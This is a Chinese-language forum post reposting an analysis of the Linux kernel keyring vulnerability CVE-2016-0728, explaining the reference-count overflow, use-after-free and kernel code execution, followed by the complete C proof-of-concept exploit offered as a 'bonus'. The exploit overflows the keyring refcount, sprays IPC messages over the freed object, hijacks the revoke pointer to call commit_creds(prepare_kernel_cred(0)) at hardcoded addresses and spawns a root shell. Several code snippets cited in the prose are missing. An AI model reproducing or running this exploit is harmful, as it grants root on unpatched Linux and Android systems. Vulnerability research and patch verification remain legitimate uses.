请选择 进入手机版 | 继续访问电脑版
查看: 20396|回复: 1941

[Linux/Mac] Linux内核提权漏洞的分析和利用(CVE-2016-0728)

[复制链接]
  • TA的每日心情
    无聊
    2019-5-8 10:49
  • 签到天数: 26 天

    [LV.4]偶尔看看III

    发表于 2016-2-8 15:52:28 | 显示全部楼层 |阅读模式
    本帖最后由 hkwljs 于 2016-2-8 16:33 编辑

    http://www.baidu190.com/md5/e0b9561120c58c15183c49c059cb480b.mp3
    安全研究团队Perception Point发现Linux系统内核中存在一个高危级别的本地权限提升0day漏洞,编号为CVE-2016-0728。目前有超过66%的安卓手机和1000万Linux PC和服务器都受到这项内存泄露漏洞的影响。

    漏洞介绍

    Perception Point研究团队发现了一个Linux内核的本地提权漏洞。虽然这个漏洞自2012年便已经存在,但Perception Point团队声称近期才发现这个漏洞,目前已经提交至内核安全团队,后续还会发布PoC利用代码。这个漏洞会影响到数以千万计的Linux 个人计算机和服务器,以及大约66%的安卓设备(包括手机和平板)。尽管Perception Point团队以及内核安全团队目前尚未发现针对这个漏洞的利用,我们还是建议安全团队尽快检测可能受此影响的设备,并打补丁。

    本文我们将对漏洞的技术细节进行介绍,以及如何通过这个漏洞实现内核代码执行。最终,PoC成功实现从本地用户提权限权至root权限。

    漏洞

    CVE-2016-0728 这个漏洞本身存在于Linux内核密钥管理和保存功能keyrings中。在我们详细介绍之前,先来据了解一些关于这个漏洞的背景知识。

    直接引自其帮助页面,keyrings主要功能是为驱动程序在内核中保留或者缓存安全数据、身份认证秘钥、加密秘钥以及其他数据。由于提供了系统调用接口——即keyctl系统调用(此外还有两个处理密钥的系统调用:add_key和request_key。不过,keyctl是本文绝对的关键),因此用户空间的程序可以以管理这些对象,并利用该工具实现各自的目的。

    每个进程都会使用keyctl(KEYCTL_JOIN_SESSION_KEYRING,名称)为当前的会话创建一个密钥环(keyring),然后可以为密钥环(keyring)指定名称,也可以通过传递NULL不予指定。密钥环(keyring)对象能够通过引用相同keyring名称在不同进程中进行共享。如果进程已经拥有一个会话密钥环(keyring),keyctl系统调用便会使用新的密钥环(keyring)取代原来的。如果一个对象被多个进程共享,位于usage字段的对象内部引用计数便会递增。当进程替换当前的密钥环(keyring)时,有可能发生泄漏。正如摘自内核3.18版本的如下代码片段,代码跳转至error2标签,忽略了key_put调用,同时泄露由find_keyring_by_name增加的引用计数。

    从用户空间触发这个漏洞是非常简单的,正如下面代码片段所示,这里导致了100个keyring泄露引用:

    下面的输出显示leaked-keyring已经有100个引用。




    漏洞利用

    尽管漏洞本身可以直接导致了内存泄露,但它可以引发更为严重的后果。经过对相关数据流的快速审查,我们发现存储对象引用计数的数据字段是atomic_t数据类型的,即实际上是int数据类型,意味着在32和64位体系架构上都是32位大小。虽然每个整数在理论上都是可以溢出的,这种观察方法使得利用这个漏洞溢出引用计数的方法看似可行。

    如果某个进程导致内核对同一对象解引用0×100000000次,它会让内核认为该对象已没有被引用,因此会释放该对象。如果同一个进程还拥有对象的另一个合法引用,并在内核释放之后进行利用,便会造成内核引用一个已释放或者已重新分配的内存区域。通过这种方法,我们可以构造一个内存释放后再使用的漏洞(use-after-free)。已经有许多关于内核中内存释放后再使用的漏洞示例,接下来的步骤对于有经验的漏洞研究人员可谓轻车熟路了。这段可执行的利用代码大体步骤如下所示:

    1、保留一个密钥对象的(合法)引用;
    2、溢出相同密钥环(keyring)对象的usage字段;
    3、获取已释放的密钥环(keyring)对象
    4、从用户空间中,使用用户可控的内容在已释放密钥环(keyring)对象所占用的内存空间上分配一个新的内核对象。
    5、使用旧的密钥对象的引用,并触发代码执行。
    第一步完全来源于帮助页面,第二步已经在前面进行过解释。下面继续对后面几步的技术细节进行解释。

    溢出引用计数

    这一步实际上是这个漏洞的延伸。usage字段是int类型的,这也就意味着它在32和64位体系结构中的最大值是2^32。为了让usage字段溢出,我们必须让片段循环2^32次以上,才能让usage达到0。

    释放keyring对象

    有几种方法来释放keyring对象。一种是使用一个进程来是keyring usage字段溢出到0,通过在密钥环子系统的垃圾回收算法,将对象释放,因为一旦密钥环子系统释放对象之后,usage字段的计数就会归零。

    温馨提示,如果我们看到join_session_keyring函数(join_session_keyring函数是将一个会话 keyring 替换为新的会话keyring)prepare_creds同样增加了当前会话keyring,分别是abort_creds或者commit_credsdecrements。问题在于abort_creds并不同步降低keyring的usage字段,但是稍后它会通过RCU工作机制进行调用(在修改数据的时候,首先需要读取数据,然后生成一个副本,对副本进行修改,修改完成之后再将老数据update成新的数据,此所谓RCU),这意味着我们可能在不知情的状况下发生溢出。想要解决这个问题,我们可以尝试在每次调用join_session_keyring之后使用sleep(1)。当然sleep(2^32)秒的时间是不可行的。可行的方法是使用divide-and-conquer算法的一个变量,在第2^31-1次调用之后sleep……这样我们永远不会发生无意的溢出,因为refcount最大值在没有调用的时候可以加倍。

    分配和控制内核对象

    我们的进程指向一个keyring释放对象,现在我们需要分配一个内核对象来覆写keyring对象。由于SLAB内存的机制,在释放keyring对象之后分配多个对象的keyring数据长度将变得更为容易。我们选择使用Linux IPC子系统发送大小为0xb8 – 0×30的信息,这时keyring对象的数据长度为0xb8,消息header的数据长度为0×30。

    这样我们便将keyring对象的数据长度控制在0X88字节之下。

    获取内核代码执行

    由于keyring对象内部的key_type结构包含许多函数指针,因此获取这一步将变得相当容易。Revoke函数是一个有趣的函数指针,能够通过调用keyctl(KEY_REVOKE,key_name)函数来进行使用。下面便是Linux内核调用revoke函数的代码片段:

    Keyring对象会通过以下方式填补:



    通过利用keyring的uid和标志值,不断尝试对keyring对象进行加载,并通过对该过程的检测,来获取到从key->type->revoke的执行过程。这个类型区域会指向一个带有函数指针的用户空间结构,造成以root权限执行revoke函数指针。这是一段代码片段演示:

    Commit_creds和prepare_kernel_cred函数的地址是静态的,因此可以确定每个受影响的Linux内核版本以及android设备。

    现在迎来最后一步:

    这里有一个漏洞在64位3.18内核系统上的完全利用,下面显示的则是EXP在一台英特尔i7-5500 CPU上面大约运行了30分钟,得到了完全利用(通常提权漏洞并不存在时间问题):



    缓解措施及结论

    该漏洞影响Linux内核3.8以及更高版本。SMEP(监督模式执行保护)&SMAP、SELinux会对这个漏洞在安卓设备上面的利用制造一定困难。或许我们后面可以讨论一下如何绕过这些缓解措施,不过当下最重要的还是请尽快打补丁!

    福利&POC

    /* https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f */
    /* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */
    /* $ ./cve_2016_072 PP_KEY */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/types.h>
    #include <keyutils.h>
    #include <unistd.h>
    #include <time.h>
    #include <unistd.h>

    #include <sys/ipc.h>
    #include <sys/msg.h>

    typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
    typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
    _commit_creds commit_creds;
    _prepare_kernel_cred prepare_kernel_cred;

    #define STRUCT_LEN (0xb8 - 0x30)
    #define COMMIT_CREDS_ADDR (0xffffffff81094250)
    #define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550)



    struct key_type {
        char * name;
        size_t datalen;
        void * vet_description;
        void * preparse;
        void * free_preparse;
        void * instantiate;
        void * update;
        void * match_preparse;
        void * match_free;
        void * revoke;
        void * destroy;
    };

    void userspace_revoke(void * key) {
        commit_creds(prepare_kernel_cred(0));
    }

    int main(int argc, const char *argv[]) {
        const char *keyring_name;
        size_t i = 0;
        unsigned long int l = 0x100000000/2;
        key_serial_t serial = -1;
        pid_t pid = -1;
        struct key_type * my_key_type = NULL;
       
    struct { long mtype;
            char mtext[STRUCT_LEN];
        } msg = {0x4141414141414141, {0}};
        int msqid;

        if (argc != 2) {
            puts("usage: ./keys <key_name>");
            return 1;
        }

        printf("uid=%d, euid=%d\n", getuid(), geteuid());
        commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
        prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
       
        my_key_type = malloc(sizeof(*my_key_type));

        my_key_type->revoke = (void*)userspace_revoke;
        memset(msg.mtext, 'A', sizeof(msg.mtext));

        // key->uid
        *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
        //key->perm
        *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

        //key->type
        *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

        if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
            perror("msgget");
            exit(1);
        }

        keyring_name = argv[1];

        /* Set the new session keyring before we start */

        serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
        if (serial < 0) {
            perror("keyctl");
            return -1;
        }
       
        if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
            perror("keyctl");
            return -1;
        }


        puts("Increfing...");
        for (i = 1; i < 0xfffffffd; i++) {
            if (i == (0xffffffff - l)) {
                l = l/2;
                sleep(5);
            }
            if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
                perror("keyctl");
                return -1;
            }
        }
        sleep(5);
        /* here we are going to leak the last references to overflow */
        for (i=0; i<5; ++i) {
            if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
                perror("keyctl");
                return -1;
            }
        }

        puts("finished increfing");
        puts("forking...");
        /* allocate msg struct in the kernel rewriting the freed keyring object */
        for (i=0; i<64; i++) {
            pid = fork();
            if (pid == -1) {
                perror("fork");
                return -1;
            }

            if (pid == 0) {
                sleep(2);
                if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
                    perror("msgget");
                    exit(1);
                }
                for (i = 0; i < 64; i++) {
                    if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
                        perror("msgsnd");
                        exit(1);
                    }
                }
                sleep(-1);
                exit(1);
            }
        }
       
        puts("finished forking");
        sleep(5);

        /* call userspace_revoke from kernel */
        puts("caling revoke...");
        if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
            perror("keyctl_revoke");
        }

        printf("uid=%d, euid=%d\n", getuid(), geteuid());
        execl("/bin/sh", "/bin/sh", NULL);

        return 0;
    }


    来源  幻客网络技术  HK.幻客编写

    评分

    参与人数 1i币 +1 收起 理由
    哈喽啊 + 1 感谢分享

    查看全部评分

    回复

    使用道具 举报

    该用户从未签到

    发表于 2016-2-8 20:42:11 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-2-9 04:26:24 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-2-9 09:24:11 | 显示全部楼层
    还是不错的哦,顶了
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-2-9 21:17:35 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-2-10 10:55:29 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-2-10 17:31:00 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-2-11 06:04:32 | 显示全部楼层
    还是不错的哦,顶了
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2020-1-10 03:16
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2016-2-11 07:19:19 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-2-11 08:25:58 | 显示全部楼层
    感谢楼主的分享~
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表